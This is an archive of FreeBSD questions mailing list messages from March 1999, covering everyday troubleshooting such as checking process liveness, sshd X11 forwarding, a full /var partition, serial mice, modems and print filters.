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From owner-freebsd-questions  Tue Mar 23  3:57:26 1999
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Date: Tue, 23 Mar 1999 21:54:52 +1000
From: Greg Black <gjb@comkey.com.au>
To: cjclark@home.com
Cc: freebsd-questions@FreeBSD.ORG (FreeBSD Questions)
Subject: Re: Process Checking 
References: <199903230637.BAA10035@cc942873-a.ewndsr1.nj.home.com> 
In-reply-to: <199903230637.BAA10035@cc942873-a.ewndsr1.nj.home.com> 
    of Tue, 23 Mar 1999 01:37:19 EST
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> Is there a more reliable and graceful way to check if a process,
> identified by pid, is still alive?

The standard way to do this from a shell script is:

    kill -0 $pid || restart_daemon

There's a small risk that the pid has been re-cycled and is in
use by some other process, but that's a race that you have to
manage in any other solution anyway.  Obviously, there's also a
trivial C idiom for this, but I think you wanted something for a
script.

There are much better methods if you have source to the flaky
daemon, but I'll leave them as an exercise with the atexit(3) or
flock(2) man pages.

-- 
Greg Black <gjb@acm.org>



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From owner-freebsd-questions  Tue Mar 23  4: 0:28 1999
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Organization: Aquezada Productions
From: "Julian C. Dunn" <jdunn@aquezada.com>
To: Lonewolf <lonewolf@apotheosis.za.org>
Subject: Re: sshd won't do X11 forwarding
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On 22-Mar-99 Lonewolf wrote:
> On Sun, Mar 21, 1999 at 10:06:39PM -0500, Julian C. Dunn wrote:
>> I've installed sshd on a 2.2.8-S box, and although I can ssh into it fine,
>> it won't do X11 forwarding. It says "warning: X11 forwarding denied by
>> server, perhaps xauth could not be run?" However, I have checked to see that
>> xauth is in everyone's default path, and ordinary users can run it.
> 
> Have you checked your tcp_wrapper setup (if you have it installed) and your
> /usr/local/etc/sshd_config?

I'm not running tcp_wrappers. Is it necessary? Also, here's my sshd_config.
I see that "X11Fowarding" is "on".

Also, to the person who suggested I run xdm, I want to be able to do it without
running X on the box all the time; it's a box with neither very much memory or
CPU to spare, so I'm trying to cut down on the amount of things running on it
at one time.

Port 22
ListenAddress 0.0.0.0
HostKey /usr/local/etc/ssh_host_key
RandomSeed /usr/local/etc/ssh_random_seed
ServerKeyBits 768
LoginGraceTime 600
KeyRegenerationInterval 3600
PermitRootLogin yes
IgnoreRhosts no
StrictModes yes
QuietMode no
X11Forwarding yes
X11DisplayOffset 10
FascistLogging no
PrintMotd yes
KeepAlive yes
SyslogFacility AUTH
RhostsAuthentication no
RhostsRSAAuthentication yes
RSAAuthentication yes
PasswordAuthentication yes
PermitEmptyPasswords yes
UseLogin no

[     Julian C. Dunn - jdunn@aquezada.com  WWW: http://www.aquezada.com/   ] 
[ programmer, web designer, unix user, fumbler, writer, and future engineer]
[ FuE exfe94 a+++ Ifte/slc lonca r- ps++ bs+ t++/*t C+++$/C! w+++ p7 LF+++ ]  
[N++/N! cd260 pr++ g+++ S-/S *x++ Fa+++/Fa$/Fa! m1 b+ fc+++/ E>+ rl-- *d s!]  
[   "you're cruel and unkind when i can't read your mind " - lenni jabour  ]


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From owner-freebsd-questions  Tue Mar 23  4:58:52 1999
Delivered-To: freebsd-questions@freebsd.org
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From: "Tomer Weller" <spud@i.am>
To: "FreeBSD Questions" <freebsd-questions@FreeBSD.ORG>
Subject: weird terminal/modem problem ?
Date: Tue, 23 Mar 1999 14:48:11 +0200
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This is a multi-part message in MIME format.

------=_NextPart_000_0006_01BE753C.2C74EB20
Content-Type: text/plain;
	charset="iso-8859-8"
Content-Transfer-Encoding: quoted-printable

here's my problem, whenever i enter a terminal connected to my modem i =
have a strange problem, when i write a char i can't see it being =
written, i can only see it when i enter another char, and so on and so =
on, to see the char i just put i have to put another char, though the =
char performs it's duty without being seen and that leads to many =
problems with ppp ("expect" in scripts doesn't work), i dont know what =
to do, maybe u can help me ?=20

BTW, works fine in win98.

------=_NextPart_000_0006_01BE753C.2C74EB20
Content-Type: text/html;
	charset="iso-8859-8"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3D"text/html; charset=3Dwindows-1255" =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.37"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>here's my problem, whenever i enter a =
terminal=20
connected to my modem i have a strange problem, when i write a char i =
can't see=20
it being written, i can only see it when i enter another char, and so on =
and so=20
on, to see the char i just put i have to put another char, though the =
char=20
performs it's duty without being seen and that leads to many problems =
with ppp=20
(&quot;expect&quot; in scripts doesn't work), i dont know what to do, =
maybe u=20
can help me ? </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>BTW, works fine in=20
win98.</FONT></DIV></BODY></HTML>

------=_NextPart_000_0006_01BE753C.2C74EB20--



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From: "John W. DeBoskey" <jwd@unx.sas.com>
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Subject: Re: Is select(2) a liar?
In-Reply-To: From Jonathan Lemon at "Mar 22, 1999  2:26: 4 pm"
To: jlemon@americantv.com (Jonathan Lemon)
Date: Tue, 23 Mar 1999 08:10:32 -0500 (EST)
Cc: freebsd-questions@freebsd.org
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Hi,

   I read the original mail as asking a slightly different question, which
we ran into many years back... if you use idetd to spawn your server(s).

   Process A issues an async connect to Process B.

   Inetd accepts the incoming connection.

   Process A selects 'writable' on it's connection to Process B.

   Inetd fork/execs the actual Process B.

a. Process B fails (for whatever reason) and exits.

b. Process A issues getpeername() which fails.


   Depending on the performance of the different computers and the
speed of the networking, the getpeername() may actually work
correctly. ie: (a) & (b) above may be reversed. If the reverse
is true, then the first or second read/write will fail.

Good Luck,
John

> In article <local.mail.freebsd-questions/5797.922133534@monkeys.com> you write:
> >Given a stream (TCP) socket which you have started an asynchronous (non-
> >blocking) connect for, if a call to select(2) tells you that the socket is
> >now writable, what conditions (other than an outright rejection of the
> >connection attempt by the peer you were connecting to) might cause a
> >subsequent call to getpeername() to return a -1 error result?  In other
> >words, what are the precise conditions under which select() will in fact
> >``lie'' and say that the socket is writable when in fact it is NEITHER
> >in a connected state nor in an error state?
> 
> How about if it's in a closed state?  A closed state isn't an error
> state; an error is flagged only after attempting to write to a closed
> socket.
> 
> Here's the definition of sowritable():  (from sys/sys/socketvar.h)
> 
> #define sowriteable(so) \
>     ((sbspace(&(so)->so_snd) >= (so)->so_snd.sb_lowat && \
>         (((so)->so_state&SS_ISCONNECTED) || \
>           ((so)->so_proto->pr_flags&PR_CONNREQUIRED)==0)) || \
>      ((so)->so_state & SS_CANTSENDMORE) || \
>      (so)->so_error)
> 
> CANTSENDMORE is set if the socket is the process of disconnecting (or
> has already disconnected).
> 
> If you're writing new code, you may want to use poll(), it's cleaner
> than select() in handling these kind of things (IMHO).
> - --
> Jonathan
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 
> ------------------------------
> 



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From owner-freebsd-questions  Tue Mar 23  5:14:16 1999
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From: =?iso-8859-1?Q?=22Michael_L=2E_Høstbæk=22?= <mich@cybercity.dk>
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Hello there...

How do configure my Crystal Audio card for use with FreeBSD ??

Is it possible ? If not, is it going to be possible in time ?

Thanks in advance,

Sincerely,

Michael Landin.


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From owner-freebsd-questions  Tue Mar 23  5:25:43 1999
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From: Langa Kentane - MWeb <LKentane@mweb.com>
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Subject: Web based e-mail
Date: Tue, 23 Mar 1999 15:17:58 +0200
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Does anybody have any example cgi code or a url that I go to that will
teach me how to create a web pages e-mail client like hotmail and
stuff.

I have this a college project that I must do that has to do with this.

Any help or pointers will be much appreciated.

Thank in advance

Langa

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 6.0.2i

iQA/AwUBNvd5xNALXaBNEberEQKfxACeLTg2jWYEfsGVNmNONKMkJA+Z69sAoI2Y
WGCsmHWfkKwPJ9iO9G31CBpU
=t4we
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From owner-freebsd-questions  Tue Mar 23  6: 0:19 1999
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Subject: full /var system?
To: freebsd-questions@freebsd.org
Date: Tue, 23 Mar 1999 13:32:51 GMT
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I get a report of a full /var system upon reboot, butI sure as heck don't
understand
why or how.

Anyway...whenever I reboot, when the system prompts me to login, I start to
get
the following message:

     Mar 22 17:54:35 freebsd sendmail [146]: NOQUEUE: low on space (have 0,
SMTP-DAEMON
     needs 101 in /var/spool/mqueue

However, whenever I look in this directory...all I see are files like
qfSAA00191, qfSAA00192, etc.

Opening these files in VI just shows messages that root is sending to the
system, primarily something
about vi.recovery or something like that.

I have to kill the process right after I log in, but do I have to this
everytime? And what about my var, what
on earth is making it "full" and "low on space"?



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From owner-freebsd-questions  Tue Mar 23  6: 4:42 1999
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Date: Tue, 23 Mar 1999 09:00:36 -0500 (EST)
From: Eric Wayte <ewayte@pegasus.cc.ucf.edu>
To: Benkbenk <hacky@ti.itb.ac.id>
Cc: freebsd-questions@freebsd.org
Subject: Re: freebsd 3.1
In-Reply-To: <Pine.LNX.4.05.9903231712060.27302-100000@students.ti.itb.ac.id>
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The solution to this can be found in the errata for 3.1:
http://www.freebsd.org/releases/3.1R/errata.html

Here 'tis:

o  Kernel change information is not saved in the new kernel, even 
   though this is claimed to work in the docs.

Fix: The change information is being written out, in fact, but to the 
     wrong location.  move /kernel.config to /boot/kernel.conf (if it
     exists, otherwise there were no changes to save) and add the 
     following lines to /boot/loader.rc:
        
        load /kernel
        load -t userconfig_script /boot/kernel.conf
        autoboot 5
     
     This will cause the kernel change information to be read in and
     used properly (and you just learned a little about the new 3-stage
     loader in the process, so the exercise wasn't a total loss).


Eric Wayte
Database Administrator
University of Central Florida
ewayte@pegasus.cc.ucf.edu

On Tue, 23 Mar 1999, Benkbenk wrote:

> Date: Tue, 23 Mar 1999 17:25:37 +0700 (JAVT)
> From: Benkbenk <hacky@ti.itb.ac.id>
> To: freebsd-questions@freebsd.org
> Subject: freebsd 3.1
> 
> i found a problem with my FreeBSD 3.1.
> i've configured the kernel, but if i reboot the machine it always
> back to default configuration.
> The hardware configuration cannot be saved and message "kget , error
> buffer size" occured.
> 
> How can i solve this???
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 



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From owner-freebsd-questions  Tue Mar 23  6:15:38 1999
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Date: Tue, 23 Mar 1999 19:11:00 +0500
From: Lobanov Igor <lobanov@dialup.mplik.ru>
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Where in Russia I can buy FreeBSD distribution on CD-ROM?
Thanks, Lobanov Igor
lobanov@mail.ur.ru


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From owner-freebsd-questions  Tue Mar 23  6:32:50 1999
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Date: Tue, 23 Mar 1999 09:31:59 -0000 (GMT)
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To: freebsd-questions@freebsd.org
Subject: Mouse problems...
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OK, I'm stumped...completely.

I'm trying to get a mouse to work on my Shuttle HOT-539 motherboards 
(I have four of them.)  

It's really bizarre.  FreeBSD 3.1-RELEASE detects sio0 and sio1 as
16550A ports.  I've tried both Asus and Intel cables on the sioX ports,
and two different mice (Microsoft and Logitech protocols).  The mice
work fine on other 3.1 systems I have.

None of these worked.  So I borrowed I/O cards from a friend, and tried
seven of them ranging from 8250, 16450, 16550 and 16550A cards.  They
all were detected correctly, but the mice did not work. 

I tried XF86Setup, and moused.  

Any suggestions?  As I said, I'm stumped.  Normally, I've gotten
FreeBSD to use a mouse very easily.  This is the first system that has
had problems (and it's my personal one, of course!)

Patrick

---
Patrick S. Gardella                    Director of Web Development 
The Creative Group    1-800-804-0783 ext 29     606-858-8029 (fax)    
http://www.cre8tivegroup.com                 PGP Key ID 0xEE2D47A9


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From owner-freebsd-questions  Tue Mar 23  6:36:12 1999
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Date: Tue, 23 Mar 1999 06:35:40 -0800
From: Josef Grosch <jgrosch@ontario.mooseriver.com>
To: Lobanov Igor <lobanov@dialup.mplik.ru>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Where in Russia I can buy FreeBSD distribution on CD-ROM
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On Tue, Mar 23, 1999 at 07:11:00PM +0500, Lobanov Igor wrote:
> Where in Russia I can buy FreeBSD distribution on CD-ROM?
> Thanks, Lobanov Igor
> lobanov@mail.ur.ru

The FreeBSD Retail Page (www.bafug.org/FbsdRetail.html) lists one place in
Russia where you can buy FreeBSD. It's called CompuLink in Moscow.


Josef

-- 
Josef Grosch           | Another day closer to a |    FreeBSD 3.1
jgrosch@MooseRiver.com |   Micro$oft free world  | UNIX for the masses



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From owner-freebsd-questions  Tue Mar 23  6:39:41 1999
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Date: Fri, 19 Mar 1999 14:29:41 +0000
To: freebsd-questions@freebsd.org
From: John <freebsd-root@i-zone.demon.co.uk>
Subject: Re: Can't see built-in modem on COM2
References: <000001be6f17$e50e4080$ba96d0d1@birch.ogurok.com>
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In article <000001be6f17$e50e4080$ba96d0d1@birch.ogurok.com>, Oleg
Ogurok <oleg@ogurok.com> writes
>Hi all.
>
>Did anyone have problem with Built-in modems on laptops? BSD can't seem to
>find it, even though it works good in M$ Win. I tried disabling the COM1 and
>switching COM2 to COM1 in BIOS, but still no success.
>I get:
>sio 1: configured irq 3 not in bitmap of probed irqs 0
>sio 1 not found at 2f8
>

..the modem is a winmodem. Get an external device, or a pcmcia modem.

regards
-- 
John


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From owner-freebsd-questions  Tue Mar 23  6:42: 2 1999
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To: Kevin Weiss/AUS/Lotus <Kevin_Weiss/AUS/Lotus@lotus.com>
Cc: freebsd-questions@freebsd.org
Subject: Re: full /var system?
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Kevin Weiss/AUS/Lotus wrote:
> 
> I get a report of a full /var system upon reboot, but I sure as
> heck don't understand why or how.
> 
> Anyway...whenever I reboot, when the system prompts me to login,
> I start to get the following message:
> 
>   Mar 22 17:54:35 freebsd sendmail [146]: NOQUEUE: low on space (have 0,
>              SMTP-DAEMON needs 101 in /var/spool/mqueue
> 
> However, whenever I look in this directory...all I see are files like
> qfSAA00191, qfSAA00192, etc.
> 

These are queued mail messages waiting to be sent

> Opening these files in VI just shows messages that root is sending to
> the system, primarily something about vi.recovery or something like that.
> 

Actually, the system is sending them to root. These occur because vi
sessions are not ending gracefully (e.g rebooting without exiting vi).

When you log in as root you should see "You have mail". Type ``mail''
and delete the messages.


> I have to kill the process right after I log in, but do I have to this
> everytime? And what about my var, what on earth is making it "full" and
> "low on space"?
> 

Possibly because, as well as the mail to root telling you about the
saved vi sessions, the file(s) that were being edited are saved in
saved in a directory called "vi.recover" somewhere in var
(/var/preserve/vi.recover I think, I'm not at home so I can't check).
Obviously if these are large files and/or there are a lot of them then
the relatively small /var partition will fill up quickly.

See ``man vi'' for details of how to recover these files, or just
delete them.

HTH

> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message

-- 
      FreeBSD - The Power To Serve http://www.freebsd.org
      My Webpage http://www.users.globalnet.co.uk/~markov
_______________________________________________________________
Mark Ovens, CNC Apps Engineer, Radan Computational Ltd. Bath UK
CAD/CAM solutions for Sheetmetal Working Industry
mailto:marko@uk.radan.com                  http://www.radan.com


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From owner-freebsd-questions  Tue Mar 23  6:42:34 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Tue, 23 Mar 1999 09:42:07 -0500
From: Peter Schwenk <schwenk@math.udel.edu>
Organization: University of Delaware
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Hello:

I installed 3.1-R (via FTP) onto a 486 (EISA) computer with one SCSI
disk (Adaptec 1740 controller).  After the installation, upon bootup, I
was greeted with the standard Booteasy menu:

F1    DOS
F2    FreeBSD
F5    Disk0

I thought it was puzzling that the "Disk 0" entry was there because
there is only one drive.  Pressing F1 or F2 didn't do anything, so I
pressed F5, and I was presented with another Booteasy menu:

F1    DOS
F2    FreeBSD

This time F2 worked, and FreeBSD booted.

On subsequent boots, I still get the same menu sequence.  The annoying
thing is the first menu doesn't do its default action.  So I have to hit
F5 and then F1 or F2.  Does anyone have an explanation for this?  I
would greatly appreciate any help with this!

--
PETER SCHWENK                                    |  UNIX System Administrator
Department of Mathematical Sciences              |  University of Delaware
schwenk@math.udel.edu                            |  (302)831-0437 <-NEW!!!





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From owner-freebsd-questions  Tue Mar 23  7: 1:17 1999
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Date: Mon, 22 Mar 1999 22:55:20 -0600
From: Oscar Bonilla <obonilla@fisicc-ufm.edu>
To: freebsd-questions@freebsd.org
Subject: How to disable APM suspend feature?
Message-ID: <19990322225520.A287@fisicc-ufm.edu>
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here's the thing:

suspend hangs my laptop. hybernate works. hybernate is handled by the
BIOS (the os does not know about it) but depend on apm being turned on.
suspend is handled by the os but hangs the laptop. i couldn't find a 
way to disable the suspend feature without disabling apm altogether.

is there a way?

thanks,

-oscar

p.s. what's the meaning of the flags for apm in the kernel config file?
mines are 0x31 (the default) but i couldn't find any meaning...


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From owner-freebsd-questions  Tue Mar 23  7: 9:53 1999
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Date: Tue, 23 Mar 1999 10:13:09 -0500
From: pete collins <pcollins@ocsny.com>
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To: Greg Lehey <grog@lemis.com>, freebsd-questions@FreeBSD.ORG
Subject: Re: print filters
References: <003301be738a$a779a1c0$05c809c0@versa> <19990322100617.Z429@lemis.com> <36F6BB1A.FE4A16FD@ocsny.com> <19990323114824.U442@lemis.com>
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anone have a good filter for hp5P lazerjet printer?

Greg Lehey wrote:

> On Monday, 22 March 1999 at 16:50:18 -0500, pete collins wrote:
> > i am using the print filter i compiled from the cd rom
> > /books/scripts/lpfilter.c
> >
> > i have an HP 5P lazerjet printer
> >
> > if i send
> > lptest | lpr
> > to the printer it prints out fine
> >
> > however if i try
> > cat myfile | lpr
> > the light blinks but nothing prints
>
> Because the page isn't finished.  Press the elongated button in front
> of the LEDs.

that was the first thing i did

>
>
> > then if i try
> > lptest | lpr
> > it prints myfile and the lptest stuff
> >
> > it seems the printer is not ejecting the last page
> > so the later stuff comes up on the lptest
> >
> > and it seems the only way i can force the printer to print
> > is with lptest
>
> No, you should be using lpd.

will try that

>
>
> > also if i try to print a web page from netscape it prints out the
> > postscript in ascii format
> >
> > am i using the correct print filter?
>
> No.

i am using the filter "lpfilter" compiled from the cdrom for 2.2.7

/book/scripts/lpfilter.c

it seem to be the only filter i was able to get working



>
>
> I'd prefer you sent this kind of message to FreeBSD-questions, so that
> others get a chance to answer it, and others get a chance to benefit
> from the answer.  You might describe your filter a little better.

made 2 posts to FreeBSD-questions

pete

ocs



>
>
> > ps time for a new book
> > my current freebsd 2.2.7 book is taped together because i wore it out from
> > reading it so much
> > one of the best books i own : >)
>
> Glad you like it.
>
> Greg
> --
> See complete headers for address, home page and phone numbers
> finger grog@lemis.com for PGP public key



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From owner-freebsd-questions  Tue Mar 23  7:23:27 1999
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To: jdunn@aquezada.com
Cc: lonewolf@apotheosis.za.org, freebsd-questions@FreeBSD.ORG
Subject: Re: sshd won't do X11 forwarding
In-Reply-To: Your message of "Tue, 23 Mar 1999 01:11:08 -0500 (EST)"
	<XFMail.990323011108.jdunn@aquezada.com>
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Date: Tue, 23 Mar 1999 10:22:17 -0500
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From: "Julian C. Dunn" <jdunn@aquezada.com>
Subject: Re: sshd won't do X11 forwarding
[snips]
> I'm not running tcp_wrappers. Is it necessary? Also, here's my sshd_config.
> I see that "X11Fowarding" is "on".

I think you'll need a different sshd_config if xauth authentication
isn't working.

I haven't actually checked the code to see how it really works, but will
look this evening.

> 
> Also, to the person who suggested I run xdm, I want to be able to do it
> without running X on the box all the time; it's a box with neither very
> much memory or > CPU to spare, so I'm trying to cut down on the amount
> of things running on it at one time.
> 

I feel your pain  :-)

Remember, xdm can run without a local X server.  It's useful with X servers
which run on other systems in '-indirect' mode or from ssh X11 forwarding. (!)

You'd need to comment the local entry out of /usr/X11R6/lib/X11/xdm/Xservers
to keep xdm from running a local server and session.

This way, you can keep memory requirements much lower most of the time
while allowing the execution of X client applications from remote X servers.

If this makes SSH/xauth work too then it's a pretty handy configuration
for that as well 

Good Luck,

Jerry Hicks
wghicks@bellsouth.net


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From owner-freebsd-questions  Tue Mar 23  7:31:55 1999
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Who is the manufacturer of FreeBsd software?  Thanks.


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From owner-freebsd-questions  Tue Mar 23  7:34:29 1999
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Date: Tue, 23 Mar 1999 10:35:38 -0500 (EST)
From: Rich Fox <rich@f2sys.net>
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Subject: Thanks! RE: libwrap.so.7--making me crazy!
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Hi,

I want to thank everyone for their replies. I was not able to solve the
problem on that particular installation. When I initially installed the
OS, I accidentally instructed it to leave out some stuff, (DES for one). I
don't know if this was why I had so many problems. I did a post-install of
the DES stuff, but could never find a post-install option for the
tcp-wrappers (in /stand/sysinstall). 

Finally after attempting to patch things up by hand, the box dropped off
the net. I was forced to pull it out of the field and replace it with my
happily configured 2.2.7 system.

I have the box now, and have performed a clean-install, (correct as well),
of the 3.1 system. I still need to install netatalk, so if I run into
these  problems, or solutions to these problems, I will post a follow-up.

Thanks again,
Rich.

| rich fox
| rich@f2sys.net
| 1513 N. Rhodes St. #1
| Arlington, VA 22209
| t:703.528.9616
| f:703.329.2314 

On Tue, 23 Mar 1999, Jeroen Ruigrok/Asmodai wrote:

> On 22-Mar-99 Rich Fox wrote:
> > Hi,
> > 
> > I am trying to fix a 3.1 distribution so that It can run netatalk.
> > First I had the lib.so.3 (I think) problem. Fortunately, this was fairly
> > common and I found the solution in the handbook.
> > Now, I am stuck on the following:
> > 
> > /usr/libexec/ld-elf.so.1: Shared object "libwrap.so.7" not found
> > 
> > I have located and installed tcp_wrappers_7.6 and it didn't change
> > anything. It took me a long time just to find the tcp_wrappers_7.6.tar.gz
> > file and now, apparently it wasn't even what I needed.
> 
> Isn't that on ftp.porcupine.org? Also mayhaps a look over at
> www.porcupine.org might be handy. That's Wietse's site and IIRC he didn't
> hand over the project to other developers. Then again, having not looked at
> that site for a while, I can be wrong.
> 
> Last try might be www.freshmeat.net.
> 
> ---
> Jeroen Ruigrok van der Werven     <http://www.freebsdzine.org> 
> asmodai(at)wxs.nl        The idea does not replace the work...
> Network/Security Specialist      <http://home.wxs.nl/~asmodai>
> *BSD: Powered by Knowledge & Know-how <http://www.freebsd.org>
> 
> 



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From owner-freebsd-questions  Tue Mar 23  7:35:50 1999
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> 
> Who is the manufacturer of FreeBsd software?  Thanks.
> 

 I believe all of your questions will be answered by a quick
 visit to http://www.freebsd.org

	- Dave Rivers -


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From owner-freebsd-questions  Tue Mar 23  8: 1: 4 1999
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Date: Tue, 23 Mar 1999 08:00:56 -0800 (PST)
From: Spirer-McNamee <spimac@yahoo.com>
Subject: 3.1-release: kget problem
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During installation of 3.1-release, the following message is displayed
in the second virtual terminal:

DEBUG kget: error sizing buffer

The installation proceeds and seems to finish successfully. If there
are any other error messages, they go by too fast to see. I can set up
ethernet, ppp, etc, and things seem fine, but the system crashes
within a few hours. It locks up and requires pressing the reset button. 

I'm running:
Intel PII 350
6.4G Western Digital AC26400R
Shuttle Hot 661/p 440 BX main board (pci)
64 M SDRAM
some modem
Teac CD
NEC floppy
Trendware PCI network card (DEC-based)
Matrox G200 Video card

All hardware appears to be recognized properly at start-up.

Thanks in advance for any suggestions.

Pat

--
Patrick McNamee
spimac@yahoo.com



_________________________________________________________
DO YOU YAHOO!?
Get your free @yahoo.com address at http://mail.yahoo.com



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From owner-freebsd-questions  Tue Mar 23  8: 5:36 1999
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Date: Tue, 23 Mar 1999 11:05:08 -0500
To: FreeBSD Questions <freebsd-questions@FreeBSD.ORG>
From: "Scott I. Remick" <scott@computeralt.com>
Subject: Good www indexer?
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I'm looking for a good, free indexer for web pages that runs on 
FreeBSD.  Number of pages indexed and amount of use will be VERY low.  I've 
been looking at ht://Dig but wondered what else was out there.

If you could please cc: any replies to my email too, I'd appreciate it.

Thanks!
-----------------------
Scott I. Remick			scott@computeralt.com
Network and Information		(802)388-7545 ext. 236
Systems Manager			FAX:(802)388-3697
Computer Alternatives, Inc.		http://www.computeralt.com


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From owner-freebsd-questions  Tue Mar 23  8:34: 7 1999
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Date: Tue, 23 Mar 1999 08:34:53 -0800
From: Kent Stewart <kstewart@3-cities.com>
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To: Patrick Gardella <patrick@cre8tivegroup.com>
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Subject: Re: Mouse problems...
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Patrick Gardella wrote:
> 
> OK, I'm stumped...completely.
> 
> I'm trying to get a mouse to work on my Shuttle HOT-539 motherboards
> (I have four of them.)
> 
> It's really bizarre.  FreeBSD 3.1-RELEASE detects sio0 and sio1 as
> 16550A ports.  I've tried both Asus and Intel cables on the sioX ports,
> and two different mice (Microsoft and Logitech protocols).  The mice
> work fine on other 3.1 systems I have.
> 
> None of these worked.  So I borrowed I/O cards from a friend, and tried
> seven of them ranging from 8250, 16450, 16550 and 16550A cards.  They
> all were detected correctly, but the mice did not work.
> 
> I tried XF86Setup, and moused.
> 
> Any suggestions?  As I said, I'm stumped.  Normally, I've gotten
> FreeBSD to use a mouse very easily.  This is the first system that has
> had problems (and it's my personal one, of course!)

I just finished going through a similar problem but it was one getting
the 3rd button recognized. I have four mice that I tried to use. Two
of them were HP mice by Logitech. They were PS/2 mice. I had a mouse
with a PS/2 to db9 converter. These mice mostly had switches that were
activated at power up time. None of them worked in one mode or
another. I finally ended up purchasing the Logitech First Mouse that
is PS/2 and comes with an adapter to db9. It works as advertised. If I
try to switch the PS/2 to db9 adapter between the mice, they don't
work. The First Mouse is around $20.

Kent

-- 
Kent Stewart
Richland, WA

mailto:kstewart@3-cities.com
http://www.3-cities.com/~kstewart/index.html

Hunting Archibald Stewart, b 1802 in Ballymena, Antrim Co., NIR
http://www.3-cities.com/~kstewart/genealogy/archibald_stewart.html


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From owner-freebsd-questions  Tue Mar 23  8:41:55 1999
Delivered-To: freebsd-questions@freebsd.org
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From: "Ladd J Epp" <ladd@bethelks.edu>
To: "FreeBSD Questions" <freebsd-questions@freebsd.org>
Subject: Answer to a PPP Routing Question
Date: Tue, 23 Mar 1999 10:33:22 -0600
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After doing some rather exhaustive research, I discovered that the modem
problem was simply a initialization string problem.  So, if anyone E-mails
with the same problem, tell them to try the following init string:

AT&F1

That should clear up any problems.

Thanks for everyone's help,
~Ladd


-----Original Message-----
From: Ladd J Epp <lje4q@bethelks.edu>
To: FreeBSD Questions <freebsd-questions@FreeBSD.ORG>
Date: Sunday, February 21, 1999 3:41 PM
Subject: PPP Routing Question


I was wondering if someone could help me solve a little puzzle that has
plagued me during my entire Unix/Linux experience.  In short, I have never
been able to get PPP to route.  Ever.  Tell me what I'm doing wrong.

In FreeBSD it seems easy enough to me.  I start by typing:

ppp

... and then I go into terminal mode to connect to the terminal server.  I
dial in, authorize myself, and then start the PPP session.  'ppp' detects
this and takes over.  So far so good.

Now I type (within 'ppp'):

add default HISADDR

And now everything should route and be running great, right?  Well, not
exactly.  I am unable to ping any address outside of my computer.  The
packets go out but they never return (I can verify this by looking at my
modem lights).  The odd thing is that I can FTP anywhere in the world and
everything works fine for about a minute or so... and then FTP locks up
and
I can't do anything.

Has anyone seen this happen before?  It's not OS specific (as far as
flavors
of Unix or Linux) because I've had the same problems in Debian (which I
have
long since blown away for this very reason).  I would love to get my hands
dirty with FreeBSD but I can't do much without some type of network
connection.

Any help would be GREATLY appreciated.
Thanks,
~Ladd



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From owner-freebsd-questions  Tue Mar 23  8:44: 7 1999
Delivered-To: freebsd-questions@freebsd.org
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Subject: netscape errors
To: freebsd-questions@freebsd.org
Date: Tue, 23 Mar 1999 16:31:02 GMT
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when I type "netscape &", it return:

     ld.so failed: can't find shared library "libX.t.so.6.0"

where is this file, and how do I go about fixing it?

PS - This is netscape communicator 4.5, and I already tried a pkg_delete,
and
pkg_add, but that didn't work.



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From owner-freebsd-questions  Tue Mar 23  8:57:12 1999
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Date: Tue, 23 Mar 1999 09:54:30 -0700 (MST)
From: Brett Taylor <brett@peloton.physics.montana.edu>
To: Chirag Kantharia <chirag@cse.iitb.ernet.in>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: FreeBSD X11 Desktop Theme Contest
In-Reply-To: <19990323113817.A23349@cse.iitb.ernet.in>
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Hi,

> I am looking for a FreeBSD desktop theme for my FBSD box. I found a
> link http://www.freebsd.org/~xcontest described somewhere but the link
> reports that the Xcontest is no more. I suppose the contest's is over
> and the page doesn't exist. Where can I find the desktop theme that
> was selected as the winner; also can I have a look at the other
> submitted ?

The contest died before there was a winner.  

I have some FreeBSD screenshots available (from various people):

http://peloton.physics.montana.edu/brett/screen.html

Brett
***********************************************************
Brett Taylor            brett@peloton.physics.montana.edu *
                        brett@daemonnews.org              *
							  *
			http://www.daemonnews.org/        *
***********************************************************



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From owner-freebsd-questions  Tue Mar 23  8:57:13 1999
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From: Christopher Michaels <ChrisMic@clientlogic.com>
To: 'Kevin Weiss/AUS/Lotus' <Kevin_Weiss/AUS/Lotus@lotus.com>,
	freebsd-questions@freebsd.org
Subject: RE: full /var system?
Date: Tue, 23 Mar 1999 11:57:16 -0500
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Try typing:
	du -k /var
and see what is taking up all the space.

> -----Original Message-----
> From:	Kevin Weiss/AUS/Lotus [SMTP:Kevin_Weiss/AUS/Lotus@lotus.com]
> Sent:	Tuesday, March 23, 1999 8:33 AM
> To:	freebsd-questions@freebsd.org
> Subject:	full /var system?
> 
> I get a report of a full /var system upon reboot, butI sure as heck don't
> understand
> why or how.
> 
> Anyway...whenever I reboot, when the system prompts me to login, I start
> to
> get
> the following message:
> 
>      Mar 22 17:54:35 freebsd sendmail [146]: NOQUEUE: low on space (have
> 0,
> SMTP-DAEMON
>      needs 101 in /var/spool/mqueue
> 
> However, whenever I look in this directory...all I see are files like
> qfSAA00191, qfSAA00192, etc.
> 
> Opening these files in VI just shows messages that root is sending to the
> system, primarily something
> about vi.recovery or something like that.
> 
> I have to kill the process right after I log in, but do I have to this
> everytime? And what about my var, what
> on earth is making it "full" and "low on space"?
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
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From owner-freebsd-questions  Tue Mar 23  9: 5:15 1999
Delivered-To: freebsd-questions@freebsd.org
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From: johnsond@HUACHUCA-EMH1.ARMY.MIL
To: cpiazza@home.net
Cc: questions@FreeBSD.ORG
Subject: RE: harddrive woes (!)
Date: Tue, 23 Mar 1999 10:04:17 -0700
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> ----------
